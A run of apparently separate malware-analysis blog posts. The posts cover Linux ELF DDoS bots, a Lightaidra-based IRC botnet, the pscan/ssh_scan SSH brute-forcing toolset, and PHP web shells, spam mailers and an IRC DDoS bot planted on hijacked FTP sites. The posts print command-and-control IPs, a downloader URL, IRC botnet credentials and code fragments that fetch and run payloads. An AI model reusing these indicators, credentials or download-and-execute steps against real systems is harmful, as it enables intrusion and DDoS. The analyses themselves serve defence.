..and when firing NIX file the summary of the binary is clearly reported, I picked the 32 bit one, is self explanatory..:
xx32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
for the reversing purpose I need more information, so I use my elf reader script to get some pointers like this header parts:
Data: 2's complement, little endian Entry point address: 0x8048110 Start of program headers: 52 (bytes into file) Start of section headers: 1051164 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 5 Size of section headers: 40 (bytes) Number of section headers: 27 Section header string table index: 24
To analyze the binary, the below information also I retrieved beforehand, like what program headers used:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD 0x000000 0x08048000 0x08048000 0xfd571 0xfd571 R E 0x1000 LOAD 0x0fd574 0x08146574 0x08146574 0x02414 0x4b160 RW 0x1000 NOTE 0x0000d4 0x080480d4 0x080480d4 0x00020 0x00020 R 0x4 TLS 0x0fd574 0x08146574 0x08146574 0x00000 0x00008 R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
What this binary "doesn't have" is actually very important for further analysis, like the below data:
No dynamic section in this file. No section groups in this file. No relocations in this file. No unwind sections in this file. No version information found in this file.
Interestingly, I noticed at the offset 0x000000d4 with length 0x00000020 it contains the below data..
Owner Data size Description "GNU" 0x00000010 "NT_VERSION" (version)
OMG, so we have a GNU Linux ELF with NT_VERSION here :-D
The "Symbols", is in the so-called .symtab' sections and contains 5963 entries (wow!), too long to paste here so I use pastebin here-->[MMD Pastebin]. The malware binary sample has huge unstripped strings, so I dare not uploading them all to pastebin because is just too big, but always be noted all of the below strings used for networking (name solving/DNS), which, in my opinion, the last part is showing the traces of libnss traces:
0x00E3305 0x00E3305 LOCALDOMAIN 0x00E3311 0x00E3311 /etc/resolv.conf 0x00E3322 0x00E3322 domain 0x00E3329 0x00E3329 search 0x00E3330 0x00E3330 nameserver 0x00E333B 0x00E333B sortlist 0x00E3344 0x00E3344 options 0x00E334C 0x00E334C RES_OPTIONS 0x00E3361 0x00E3361 multi 0x00E3367 0x00E3367 nospoof 0x00E336F 0x00E336F spoofalert 0x00E337A 0x00E337A reorder 0x00E338F 0x00E338F nowarn 0x00E3396 0x00E3396 RESOLV_HOST_CONF 0x00E33A7 0x00E33A7 RESOLV_SERV_ORDER 0x00E33B9 0x00E33B9 RESOLV_SPOOF_CHECK 0x00E33CC 0x00E33CC RESOLV_MULTI 0x00E33D9 0x00E33D9 RESOLV_REORDER 0x00E33E8 0x00E33E8 RESOLV_ADD_TRIM_DOMAINS 0x00E3400 0x00E3400 RESOLV_OVERRIDE_TRIM_DOMAINS 0x00E341D 0x00E341D /etc/host.conf 0x00E342C 0x00E342C %s: line %d: expected service, found 0x00E3458 0x00E3458 %s: line %d: list delimiter not followed by keyword 0x00E348C 0x00E348C %s: line %d: cannot specify more than %d services 0x00E34C0 0x00E34C0 %s: line %d: cannot specify more than %d trim domains 0x00E34F8 0x00E34F8 %s: line %d: list delimiter not followed by domain 0x00E352C 0x00E352C %s: line %d: expected 0x00E3543 0x00E3543 on' or ' 0x00E354B 0x00E354B off', found 0x00E3560 0x00E3560 %s: line %d: bad command 0x00E3580 0x00E3580 %s: line %d: ignoring trailing garbage 0x00E35BC 0x00E35BC aliases 0x00E35C4 0x00E35C4 ethers 0x00E35CB 0x00E35CB netgroup 0x00E35D4 0x00E35D4 networks 0x00E35DD 0x00E35DD passwd 0x00E35E4 0x00E35E4 protocols 0x00E35EE 0x00E35EE publickey 0x00E35FC 0x00E35FC services 0x00E3605 0x00E3605 shadow 0x00E360C 0x00E360C illegal status in __nss_next 0x00E3629 0x00E3629 NOTFOUND 0x00E3632 0x00E3632 TRYAGAIN 0x00E363B 0x00E363B CONTINUE 0x00E3644 0x00E3644 SUCCESS 0x00E364C 0x00E364C UNAVAIL 0x00E3654 0x00E3654 RETURN 0x00E365B 0x00E365B /etc/nsswitch.conf 0x00E366E 0x00E366E nis [NOTFOUND=return] files 0x00E368A 0x00E368A dns [!UNAVAIL=return] files
Thinking that I might get lucky since the binary is unstripped so I search for the source code used to build this "tool" and grabbed the filename as per below:
Since the binary is staticlaly compiled and not dynamically linked to any library, we can see some original functions coded inside of this malware, which also explained the big size in codes.
Seeking further, I found the compilation environment used:
GCC: (GNU) 3.4.6 20060404 (Red Hat 3.4.6-10)
And, as the bonus, the CNC IP address in hard coded, yaay! :-D
0x00CCC31 0x00CCC31 "222.76.210.140"
Reversing & Trailing the assembly reversed
By seeing the cpp file names and the symbols used (see above section), half of mistery was actually "almost" solved and this file is definitely malicious. But to be sure, it's nice to trail it down in reversing mode, by any tools..anything will do, to confirm its maliciousness. Right about doing it, I got the advise that it would be nice also to make reversing video for others to learn, so I choosed IDA for this purpose because is "animated" and comprehensive :-).
In the file listed above there is the main.cpp which is suggesting me that main() function is a good place to start. You can see the video below, but noted: this is not the very details reversing (I can't make long video anyway) and is for the summary purpose, so I skim the flow in understandable way to get the whole idea. Please feel free do it yourself for getting your preferable result and focus:
As you see in the trailing the reversed code above that it grabs the environmental information (gethostname was called many times & so does open of system info files) during initiation, some networking to start operation, and then trying to establish connection to the remote IP address, to the hard coded IP address and some to the "targeted" hosts.. By the way, the hard coded IP address is the same IP where this malware was downloaded, the 222.76.210.140.
Then we see this malware is demonized, listening to the socket, looping for continuing to connect operation is detected. And also reading and writing the an INI file (which they malcoder called this as "fake config" for some reason..). We can see some aggressive calls to perform the "attack" by allocating a form of data from the buffer in there. Also can be seen the function to encode the data which suggesting the CNC communication is in encrypted mode, as per shown in video, the usage the xor key used can be "utilised" to decrypt ones, had no chance to try it yet though..
Last one, the usage of some functions in libnss is suggesting the pairing in encryption, and so on.. Additionaly you'll see many interesting detail functions was used too. These functions was made so detail to run the binary as standalone purpose.
It is indeed interesting! So I was attempted further debug and make another video for debugging! Never did this before.. I hope to see the CNC communication & the effort to attack :-), please see next section.
Behavior and Network Analysis
As you see in the above sections, we know how the binary is formed and summary of the malicious operations observed in reversing, so now how does it actual current work?
Shortly, I dare myself to make video of behavior analysis I tested too :-) with the details that I will explain further, see the below:
Maybe you can not see it well in the flash where debug and running this, so let me explain also as following: The host information was grabbed by the system calls "uname()" together with the networking information (hosts, resolve.conf,etc..).
The malware, as per predicted in reversing part, is running as loop to keep on trying connecting to the mother host (after sleeps 15 secs..assuming to reset the connection), and it is now still running in my testbed with hoping to connect and see what will happen ;-)) I really look forward to gain connection it to the China IP's CNC to PoC the remote DoS attack functions stated in the writing above.
Samples
For they who want to try to test or researching this malware, you can download it here-->>[MediaFire] with the usual password. :D
Moral of the story
Linux reversing is actually fun, open source provides many good tools to disassembly and debugging any executables or libraries, do not hesitate to do it by your self! Please take a good care of your SSH and FTP services friends! See the advice I wrote some tuning tips for sshd in the video above. The last point is, block 182.86.60.105 and 222.76.210.140, these IP addresses are not good ones, please help yourself by exclude any access from these. You won't need to access these IPs anyway :-D
You tell me, who the attacker is, IF↓:
(1) The SSH attacker IP address is from China, (2) He downloaded from "next" China IP for malware in a China from... (3) ..an original China made web server (HFS) runs in specific port (81) from its root directory and.. (4) if you run the malware, it'll back-connect to same China IP.. (5) ..And that IP address is hard coded in the binary!
There are a lot of DDoS attacks performed each day. Our systems are also being abused by these, and maybe some of you have the same shares too. MalwareMustDie analysis is focusing on malware, and recently we are raising priority to analysis aiming the UNIX or Linux platform. And, luckily one of the sample dropped this time is the multi-CPU architecture DDoS ELF tool, which is a nice topic to disclose, and we plan to disclosing this threat down to its threat root.
This is the analysis of the DDoS tool that was made based from the C code of IRCd program called Lightaidra, and aiming infection on Linux OS in x86, x64, PPC, MIPS, MIPSEL, ARM, and SuperH architectures, meaning, not only aiming servers but also linux workstations, routers and any related devices that is connecting to the global internet, to be badly utilized as a cyber attack tool to perform DDoS attack. The case is complicated and various in analysis skill set + volume, so to save time, myself and @wirehack7 are on the case to split the writing into 2 (two) parts, I, in this post do the first part contains the background, installation & reversing materials, with aiming the credentials of the CNC,, and behavior & network analysis. And the second part can be read in capsop.com blog contains the CnC information, IRC details used for attacks , and the bad actor's ID/account investigation (cyber crime case) with the access is here-->[Threat analysis: Zendran ELF DDoS scheme (lightaidra ircd base) | Part 2: CnC & The bad actor]
The installation
Malware was designed to be installed via the hacking attempt that can gain the access to the shell of Linux box. Once the privilege gained, it downloads from the below IP address & URL for the downloader and installer script:
h00p:// 192.99.168.37/gb.sh
Via a one-liner shell command as per below "code" The above codes is saving the below installation code to the file gb.sh in the /var/run:
The one-liner code stated above is actually generated from the "other" shell script that we "successfully" obtained as per below code; The summary of all these installation scheme are two jobs: (1) Install ELF binary into a compromised system by modified wget & resolve.conf beforehand.. (2) And..execute the ELF binary, as per the architecture flavor, in the "/var/run" as per snipped data below:
We downloaded all samples and now is in Virus Total for the AV industry to do their part in making signatures to detect this threat, but below I share the x32 and x62 VT link for you:
SHA256: 2c26e018c8615e7b8e75b8fa28dbdca6c77074927b5b9ff0a5a9c19ed24721c3 File name: 74d53ee69bf937cfae11d079c870534f462e2f67.exe Detection ratio: 1 / 46 Analysis date: 2014-05-14 15:03:26 UTC ( 3 days, 1 hour ago ) Antivirus Result Update Qihoo-360 Trojan.Generic 20140514
The installation codes of this malware was recorded perfectly by @wirehack7, and you can see it in the video I compiled together with the summary of this section:
Binary Analysis
Since there are some options in the binaries, I picked the most familiar architecture to reverse. In this section (binary analysis), my hope is to crack all of the details related to the binary structure to be used as base in reversing and behavior analysis. Maybe there are also several information that can show us some extra information too. So I begin with the below file as per attributed as per it is during the download:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x8048ed0 Start of program headers: 52 (bytes into file) Start of section headers: 35956 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 8 Size of section headers: 40 (bytes) Number of section headers: 30 Section header string table index: 27
As per previous written in MalwareMustDie blog posts on ELF analysis cases, NIX Gods are so kind to give us many default tools to analyze the badness. We can search how the binary was compiled by simply firing "file" to get the info below:
LSB executable, dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
I was thinking of the which section to start looking into its headers:
It came to my choice to pay attention to the opcodes written in .rodata and .text, many of the data from this section will come up in the reversing part. While the .dynsym contains the shared library to lead us to .gnu_version which glibc dependency version can be seen, these both information will be important for the behavior analysis later on:
By the way, we need to know also which shared library used for behavior test too so I peeked into the dynamic section at the offset 0x8964 that contains 21 entries with having the shared libraries as follows:
Tag Type Name/Value 0x00000001 (NEEDED) Shared library: [libpthread.so.0] 0x00000001 (NEEDED) Shared library: [libc.so.6]
Additionally, the header .symtab is showing the information of the each glibc function called, original function used and the project'Ss C files as per shown below:
Oh, wow, this is a very good information to know, later on we can compare some source codes of malware to know how is it supposed to work actually. In the mean time, let's moving on...
At this point I didn't look up to the binary strings yet, but sometimes tempted to "play luck", I fired the URL string searching made by Joxean Koret and found the CNC IP, what a lucky day! :-)
[0x00000000]> url ASCII URLs h00p://192.99.168.37 // url is masked [0x00000000]> chkurl Checking http://192.99.168.37 ... UP [0x00000000]>
OK..I think I almost got everything I need to start to reverse here. In reversing the binary, fyi, I used my FreeBSD CLI (maaany tools can be used and works very fast, like hd, xxd, r2, pyew, etc) with OS X GUI reversing tools if I stuck on something, for faster trails, but I still need the Windows to write this blog and picture setting, for my eyes problem. The details of reversing are in the next section.. Hang on!
The ELF Reversing
String analysis
Trying hard not to waste my time, since I can guess the nature of this malware, I went to the string analysis (by firing "strings") and grouped some client connection to server, in IRC protocol commands, like:
Is it the CLI base IRC program? or practically a coded-to-be an IRC BOT? This is important for checking the malicious IRC bot binary, to find the below commands as hints as bots:
I was being asked to do whatever I can do to "reversing" the IRC credentials used by this threat's actor and other details helped to crack the CNC,to be used for the CNC & IRC bot herder's investigation. Well, OK. I opened the binary right away. The main.c file trace shown above hinted me to seek main()located in .text:08048F84 start from these opcodes:
.text:08048F84 public main .text:08048F84 main proc near .text:08048F84 var_30 = dword ptr -30h .text:08048F84 var_14 = dword ptr -14h
Trolling it down, to know how the program call "daemonized" function (+hooking its pid, usual daemon stuff)
Oh my, this is interesting since we can figure the server (CnC)of this IRC client, so trailing it down to the create_irc_servlist(), reversed the value back and got the data below:
.rodata:0804F005 a178_18_16_9680 db '178.18.16.96:80',0
↑Which are a text of an IP and a port number.
OK, we got the IP and port number, don't get too excited yet & firing anything to that network! Let's confirm what IP is that, and the binary is the best teacher for it... Following the flow, to find those data (IP:PORT) was used to connect to IRC server, as per PoC below:
Oh well, is obvious function name anyway, so I went to the mentioned function in .text:0804A0BC and after some operations of "details" in preparing IP, ports and hostname, it tries to make connection and jump to the authentication upon success (jnz short loc_804A234) or retrying, as per coded below:
This "suggests" a typical IRC command for channel joining command to channel "#LA" for me, unless you can read it otherwise. The "x" value in offset aS_0 suggesting the PREFIX (or channel mode value, which is likely not) OK.. :-)) Following..
This part is assembly of the password and send it to the connected channel..
Which this offset aNickS's %s was needed to be filled in. ..And, the USER is set in:
.text:0804A2E1 mov eax, [ebp+arg_0] .text:0804A2E4 mov eax, [eax] .text:0804A2E6 mov [esp+48h+var_44], offset aUserAssLocalho // aUserAssLocalho contains data of: "USER ass localhost localhost :Stallion\n"... .text:0804A2EE mov [esp+48h+var_48], eax .text:0804A2F1 call sockwrite .text:0804A2F6 test eax, eax .text:0804A2F8 jz short loc_804A301 .text:0804A2FA mov eax, 0FFFFFFFFh .text:0804A2FF jmp short locret_804A33D
In the login() function I found the way it received the communication (bot mode) from other user, below is how to crack the request came (a@underworld) and the password used (pussy):
Are we done here?? NO! what is the NICK used?? Seeking the assembly code I found the function getstr() function called by irc_connect() function contains the NICK allocated variable which if we trail it.. it'll lead us to below code to figured that the value returned to the NICK's "%s" is [Intel]+%s:
So far so good, except..time is up.. @wirehack7 seems happy receiving these credentials, and I am not, sigh.. I usually see what is recorded in the memory's register to find what's missing (this case: the %s in the NICK name used to spoof NICK during connecting the IRC channel) and so on, which is a faster recommendation than to compare calculated value of them, but, I also suspect a function with formula (or maybe randomized) used... OK! Since the situation was: time is up and I couldn't do emulation for the registers, so I tend to do the workaround to solve parameter after [Intel] in NICK with network snapshot. In overall..it is a "C-" reversing for me if I must score myself reversing in this work..
Moving on! Why I picked the network analysis instead running it and debug the memory? I have my own reason: since this actor who made codes the binary is trying to camouflage original code of lightaidra, but it looks like he has no much skill in C programming except stripping the labels & change values of lightaidra ircd :-)), which means we can hope for "plain text traffic in http port" that looks so very delicious to me. For this analysis we will go to Network Traffic section, hold on tight!
In additional to the reversing result, for the "extra values" You can see the list of other callbacks to another domain/IP used by this malicious attacker tool I found and figured during the reversing as per table below:
Which is likely not being found any of these IPs in the original lightaidra ircd so far..
For the two cents in reversing, please aim your target, if you get stuck on something by following several flow that means to you must do it all over again, but in "overall scope, to see what was missing there..
Behavior and Debug Analysis
It won't be much information to be grabbed in debugging mode if the program is daemonized unless we trace the daemon process(es) too, and doing that would affect the test bed, so I dropped the idea for the oerall debugging and stick to the initial behavior analysis, which is needed to check whether the binary analysis is correct in predicted the runtime environment information, since we need to PoC something from Network Traffic analysis, so we have to make sure this "garbage" can really run.
After some fail attempts and then patching libs & seeking systems that is having requirement needed in glibc functions (mentioned in binary analysis writing) and the shared library needed (mentioned also in binary analysis part), I finally can run the binary without a problem, as per shown in the debug log below, with exit group(0), I pasted below in case needed as a run PoC for traffic analysis or as reference to ID this malware by others:
↑please noted I used the x64 binary for this test..
Network Traffic
The point of the network traffic analysis is to seek the NICK values and to check in details of the botnet CNC protocol (in IRC protocol, obviously) used. This information will be used by us to compromise the bad actor's network to grab the further details about the Bot Herder networking and his ID.
The overall traffic is as per below picture: Be noted that, most of the IRC is not running on port 80. So the wireshark stamped capture I made in tcpdump as "Continuation or Non-HTTP traffic" :-)
In every TCP stream, the CNC communication "protocol" is as per expected (plain text) which is shown in a set of a success request & response commands under one session of connection via this malware as soon as it runs as per below capture: ↑You can see there the herder's IRC handle names: Izan and StyxCoD, with the "further deeper information" can be read more in the "Part Two", and the values of the IRC connections we figured in reversing part are correct afterall.
The CNC's "HELO" or initial Protocol is indeed as per following format:
PASS "eYmUrmyAfG" NICK "[Intel]pyy3zyw" USER "ass localhost localhost :Stallion" ( Replies from CNC - Redacted ) TOPIC "#LA" PART "#Auth" JOIN "#LA :ping" ( Replies from CNC - Redacted ) TOPIC "#LA" TOPIC "#LA"
And yes, now we can now "confirm" the NICK command used now, as "[Intel]pyy3zyw". My mission is now accomplished :-)
The CnC Investigation, Attacker PoC & Bad Actor analysis
Our friend @wirehack7 is writing this section's good analysis in his blog here--->[Threat analysis: Zendran ELF DDoS scheme (lightaidra ircd base) | Part 2: CnC & The bad actor] Using the credential information investigated in this post, the CNC was compromised and there are a lot of data grabbed for the cyber criminal investigation. All of the materials and PoC in "The Part Two" post I supervised, checked and confirmed accordingly. The report and image snapshot provided are compiled in a way that can be used as cyber crime evidence, and since one of the bad actor looks living in Jacksonville, United States (+ he is in the deep trouble now), the materials will very useful to be used by FBI to open investigation against them :-))
The method of this investigation is shared to "inspire" people who are fighting against DDoS sources, and hopefully this method can be useful to reduce similar threat's source.
Additionally, looks like we hit a jackpot, some moronz in the mentioned CnC account yelled "ouch! in twitter to us ;-)
Moral of Story
This ELF evil tool was built by amateur malware coder..judging by the codes and the way it was compiled, and I am sure they are "skids" in level (sorry for that "ouch" words but this malcoder deserved it). We need to, and obligated to make sure these actors won't go far with making such tools and hacking other's host to install it and use it to attack to another network. Right now, as per seen in the "Part Two" they are opening campaign of tutoring this attack tool in youtube video and that is never be good.
The multi architecture aimed in binary types shown in the malware installer script is making us really worry. I know some routers, or PLC devices with the ssh which run in global environments under same GLIBC version, or some linux computers or several game boxes under those chipsets which running the libraries too. This malware can aim those architectures mentioned, and one can get so surprised if finding his routers, servers, PLC control panels or game boxes, (or maybe Televisions!) being used for DDoS attack right?
I really hope this case can be followed well by law enforcement to start opening a new cyber crime investigation.
Samples are all in VT, sharing downloads will be started in a while, first, give us time to clean up our work dusts..we really spent much time finishing writing these posts and the case's bad actor's fighting is on going too.
I post this Video tutorial as a continuation to analysis of recent ELF malware infection that intercepts Linux/FreeBSD system using LD_PRELOAD method (via ld.so API) that I wrote in here -->>[MMD Blog]
There are many requests coming and asking me the method to dissect and stopping the infected processes, how to debug, how to extracting the binary from the infected PHP scripts and also how to make a traffic capture of it for analysis purpose. As a UNIX engineer and 100% on the spirit of open source, I think it is important to share this information to fellow engineers/server administrator to be more aware of the threat, and to know how to dissect this or the similar threats that may occur in the future. Really hope this writing can be used as reference that helps people that really needs it.
Answering the questions asked, I made a a demonstration video with audio explanation (please bear to my English), it's about only 5 minutes in length to show you steps I made to extract the ELF .so malware binaries using the PHP template extraction script that I posted in the previous post of the related threat, to use the automation script to test running the malware in background for tests, to explain a how to stop/killing the running malware process using lsof, grep, kill and unset command respectively, and in the end is to demonstrate a how to debug and capturing the traffic in real time using tcpdump in PCAP file for analysis.
All of the operations demonstrated can be done in FreeBSD or Linux shell in your flavors, and I don't include any reverse engineering information inside of this tutorial. To be noted: Except for the how to in stopping this .SO malware process, for your own security purpose all of the operation mentioned should be performed in the test bed, and please do not connect into global internet for running the traffic capture to avoid leak of your traffic/credential to the bad actors, which is still UP and running (the threat is still "in the wild" right now).
The environment that I used in this video is NOT containing any real alive services or accounts, it was made for the sharing purpose only. All of this information and materials posted here are owned by myself, shared & contributed via MalwareMustDie, NPO to you all. I really don't appreciate and disallow copies of the post without asking permission from myself or MalwareMustDie, NPO beforehand.
Below is the demonstration video in youtube. Here is the source URL -->[youtube]
If you have any thoughts, ideas, questions & suggestions about this tutorial, please feel free to write the comment below this post.
For about 2 weeks I analyzed the SSH login brute attacks that came into my dummy service, as per shown in the report in this link-->[Pastebin], and compiled it to graphical report of source IP of attacker in here-->[MMD Stat Site].
Even now, I am still collecting a good share of amount attacker log as per PoC'ed in below video, and toying with many configuration to learn the nature of the attack itself:
For the summary, in my observation the attacks are showing the characteristic as per below:
Using the automation for bruting SSH login account Reconnecting to the host upon disconnected to re-try to login Came from varied IP address, but same attack pattern Fast in re-connecting (mili-secs!), showing an automation lightweight tools used Coming from compromise sites/servers About 70% source IP addresses came from nearest range, in my case: China
It was so difficult to predict the nature of attack in the beginning due to the limited reference, but IF you take time and analyze the pattern of attack well after some longer time with the good volume of logs, you will see that even majority attackers came from a certain country's IP, yet, IP with source from other countries are using the exactly similar pattern, some of these pattern are so typical like:
Firstly, aiming ssh version 1 by default Seeking the allowed login username & retries to it "Admin" and "root" are "heavily" aimed All attacks has similar special characters password, suggesting wordlist used
So it is clearly that the attack were performed by the same group/community/actors, or by using same tools, or manually conducted using the exactly same methodology. Knowing how the crooks work, the second option will likely the answer, and, understanding the above attack characteristic details we can start to hunt these "bruter scheme" tools used, with hoping the bonus of the actor's info grabbed in the same time as the payback. Thank's to the dedication of our team mate, we successfully "seized in action" many of recent tools used and I found the perfect match for the weapon they used to performed this attack. I can't explain in details how we managed to "hunt" the actor's environment for the security purpose, but we peel its scheme very deep, so please see the next section for the details :-)
Bulk port scanner ELF "pscan"& a companion ELF "scanssh" (or ssh_scan) SSH login bruter
After some investigation into the recent "seized tools" in action. It came to the conclusion that the attacks is "powered" by the mass port scanner hack tool called "pscan" and follows by "scanssh" (or ssh_scan) as the SSH login bruter hack tool. Below are some of the VT detections of pscan variants (version 1 and 2) .
A variant of version pscan version 1 (original code):-->[link]
SHA256: 50bd83192d03f0b1adcbcabe34fb24e364237b04d91cec74ad4542129f506bbf File name: pscan Detection ratio: 1 / 52 Analysis date: 2014-05-22 23:14:15 UTC ( 0 minutes ago )
This is the recent variant of pscan version 2, the modded version:-->[link]
SHA256: 4422633b12627c70246d868d86cabd6702908b79f3826bcf9222ab20501cb394 File name: pscan2 Detection ratio: 21 / 51 Analysis date: 2014-05-22 23:13:06 UTC ( 0 minutes ago )
As the bonus :-) I pasted the "jinxed" source code of this version two in the VT comment :D for the research and mitigation purpose.
Accompanied SSH login bruter tool ELF "scanssh" or "ssh_scan". In VT is as per below:-->[link]
SHA256: 93df64cc0ff902ad1e80ada56023610ec2c44c3ecde2d36d37a3a748c7fd42bd File name: ssh-scan Detection ratio: 37 / 52 Analysis date: 2014-05-23 00:16:32 UTC ( 0 minutes ago )
How ELF "pscan(v2 and v1)" works
Since we grabbed the source code :-D - No need to reverse this one, so I am making explanation from the recent discovered C code itself. This tool is to be executed as per below:
Usage: pscan(n) [c-block]
it will check the file "a" in the same directory:
strcpy(argv[0],"/bin/bash"); if (!(outfd = fopen(outfile, "a"))) { perror(outfile); exit(EXIT_FAILURE); }
The "a" script file is the starter script, control the overall flow of malicious process. In the pscan version 2, the "a" script contains instruction to scan the port 22 of the fed target listed in "$1" (the first argument that the attacker will type, according to the Usage instruction above, i.e. as per executed command line below:
././pscan2 $1 22 [...]
Executed, p2scan version 2 is coded to check & handle the flock of IPs inputted by the fed arguments:
On the other hand, for the pscan version 1, instead the the following execution of simple line, it needs different execution method in command (and its argument) to create the desired mfu.txt as the text of IP address feed to be passed to the "scanssh" login bruter program afterward.
In the most cases, the "scan.log" file will be deleted in the "a" script afterwards to avoid evidence, i.e.:
mv scan.log # together w/several etc files.. ./ssh_scan
So the port scanner's job was done and next, in the end, the "a" script executes the "scanssh" or "ssh_scan" tool, which is a very well-known ELF (Linux) shell hack tool for simulating the SSH connection (compiled with OpenSSL & Blowfish support too) that can be used to scan, compromise & gain access to attack the remote system's SSH service.
How SSH bruter ELF "scanssh" (or ssh_scan) works
The codes of the "scanssh" or "ssh_scan" tool is huge. It was compiled with the OpenSSL support (tested), and looks supporting to Blowfish authentication too (untested), it will be long to cover it all so I will be specific to the scope of this post only. In our "pscan" case, the ssh_scan is used mainly to check for the vulnerable SSH login and extract the output in a text file. Since there is no source code (yet), below is reversing snips of ssh_scan binary that reads the range IP (from the pscan) and wordlist from a text file and extracting the result in another text file. Understanding this scheme will help others to search-grep/scan and dissect the threat for the future.
This is the function to read the list of IP addresses, as you can also see, the pscan created mfu.txt was seeked:
And the output file format will be as per below text file contains credentials of the successfully compromised system, with noted the prefix "DUP" will appear and stand for "Duplication" in compromised login entries:
Overall snippet of disassembler data is here-->[link]
Nasty tool-set & scheme isn't it? :-| FYI. Yes, we know now that Romanian coder is behind this attack (explaining the texts in Romanian). Moving forward, the next section is explaining how we payback these attacker! :D
The Payback: Time for these moronz to sweat!
Knowing the nature of the threat and the technique to fool attacker (thank's to @wirehack), I can grab the email addresses that are used by the hackers to send back the SSH credentials extracted by the ssh_scan to their mailbox, and trust me..these data is on the way to law enforcement right now. Some of the tool-set of pscan & ssh_scan are accompanied by perl IRC bot which revealing some handle name too. To get the email address is actualy very easy. the attacker needs to get the data extracted by the SSH bruter, as per mentioned in reversing part above, the vuln.txt. Basically they just mail (literally, yes, mail!) this file to their malbox :-D Well this method works very well as I gained about 20+ email addresses of the active bruter actors now.
Hey, bruter skido! It is time FOR YOU to sweat now! Expect some knock on your door! ;-))
I made the video of some of the hack tools we seized (not all, for security matter), to illustrate a how to for law enforcement agencies to detect, where and what exactly the email addresses of the attacker searched in each of the packages used. The video is also to PoC the above analysis with the real result that we can get from the attacker's environment. Hopefully this detail writing and video will describe the disclosure anatomy of major SSH bruter that keep on coming hitting us in daily basis, to be used as knowledge for all of us to dissect and mitigate this attack in our servers. :-D
Samples is shared for research and raising the detection ratio purpose, not for usage for bad purpose. Password is the known "generic" one, so if you ask for these archives' password I will assume that you are not in malware research field :-)
This writing is dedicated to fellow sysadmins all over the networks in this globe, who work hard keeping internet services running smoothly and help to clean the bad stuff, you rocks! Respect!
The background
If you are having an experience as a system administration in an ISP, IDC or etc internet portal, security issues is part of the job description; you'll deal with IDS alerts, IR cases, and some claims to follow in your watched network territory. In my day work, I am receiving the cases escalated to my mailboxes from sysadmins of various services for those cases. If you are a "sysadmin" maybe this post will be a fine reading to you.
This post is a story of a reported case, is also "sharable", thank you to our friend "Yin", a smart & efficient sysadmin which kindly tipping me suspicious sites suspected serving malicious service / activities, and allowing MMD to post the case here. According to Yin, the information was "extracted" from IDS information as an attempted PHP RFI attacks.
I was reported 6 cases in a form of 6 urls, I digged in to every url to find out the whole scheme of the threat, and as result, is rather big in volume and it looks it will take too long to analyze & write all of them, so I split the post into two parts Part 1 and Part 2, this is the Part one contains the 3 abused FTP sites analyzed, with the details that can be read from following sections. Enjoy!
Observation
I accessed the malicious sites detected as per shown in the below screenshots, and will call them as Case 1,2 and 3.
Case #1: PHP & ASP Spam Form, PHP Shell & Server Info Grabber Form.
I started with the first screeshot above. The first case, base on the deduction with the help of time stamps we can see that the first attempt of the hacker used is to upload the PHP WebShell in an obfuscated PHP code, used for uploading and compromising directories from the HTTP side with what it seems "like" the modded PHP shell:
The obfuscated codes are like: Please noted the logic used to obfuscate the code in the marked part. We sees file of: config1.php, menu.php, help.txt contains these codes. I decoded this offline, in a shell operation using the PHP CLI in debug mode to dump the stdout into files (see the test*.html listed in the picture above? Those are the outputs) to be viewed / executed in my local environment, therefore I won't risk any unnecessary traffic when examining the object. A tip than can bring ideas to sysadmins to solve this fast & secure.
The information grabber, is spotted in the the form of uname, date (time zone check), current user and system environment, as per executed file x.php below: THis data is not only to be shown in Web (Browser) UI output, but also being mailed to the bad actor, as he kindly left his email address :-)) in the source code snipped here: And thankfully to his generosity, I gladly took a hint and search for more, found some more in xx.php: I think God is very kind to me :-)
The next file that's been executed is this env.php, which looks like a PHP mailer tester codes.. The question is always WHY?.. Below is the explanation, pls find the rest of PHP script extracted data and guess what are they? :-)
Yes, these are SpamMailer in Web GUI, the spammer can input the Recipients, Subject, some has the Sender options, and then the BODY which is supporting to the HTML format. Very well coded. It is enough to send tons of spams. The variation of the spambots design is showing that this site has been used several times by several groups hitting many spam campaigns. It is not surprising if we find the lookup address of this site's domain below to be in the blacklist:
This spam PHP is coded very well, below is the code to show attempt in faking X-header of email:
Is that all that we found? No, the spammer is not only relying on PHP as CGI engine for running the spam interface, but they are preparing the ASP program too!! Really?? Below is the snips:
So in this site we learn about the compromised FTP account was abused to be uploaded by PHP Web Shell, to upload PHP SpamBot. The things that we can see about the bad actor is from Brazil, and some email addresses that can lead to the bad actors.
Let's see another FTP site..
Case #2: The case of PHP IRC Bot with "direct"&"ELF+WinPE x64 client" DDoS tool
Let's move on to the second case. The files uploaded by the attacker are so few, we have 2 PHP files, then, one file that looks as WinPE (*.exe) file and an unknown file called "std". You can fire hexeditor or firing "file" command to know that the "std" file is an ELF x64 file. So what's this all about? Let's take a look into the PHP file first..
The both php files are actually same coded file. So I peek the wonka.php, found how the binaries was downloaded, by the function as per shown below: Well this code roughly means, if they found the system is Windows it'll execute the CMD to run ftp command to download the WinPE binary, or else it will download the ELF binary with the "wget" command & save it with read-write-execution permission by the world, so anyone who access it can do anything he wants. Below is the snipped of the binaries:
What happened next is the execution of these binaries as per described in the below code. It wasn't that hard to read this obfuscation..it shows options of running the PE or the ELF that was previously downloaded.
What are those binaries? A simple "string" command in UNIX.. ..can show you the string written as:
"Hitting %s on port %d for %s seconds"
No doubt, is a common sign of the DDoS tool. By the time I tweeted about this binary the detection ratio in VT is zero:
— MalwareMustDie, NPO (@MalwareMustDie) May 30, 2014
PoC: Other than using the binary for flood(DoS), there is also the combination of flood/DoS function found in the code as per below snapshots:
Further observation of the PHP code you can find that the PHP is actually the IRC Bot, below is the connection that we currently trail to the actors :-) If you dig deeper to the logic of Flood UDP in the script, it has some interesting additional attack method to help the mitigation. If you wonder about the detection ratio of these PHP files, see these links: [1]&[2]
Let's close this case here and go to another site :-D
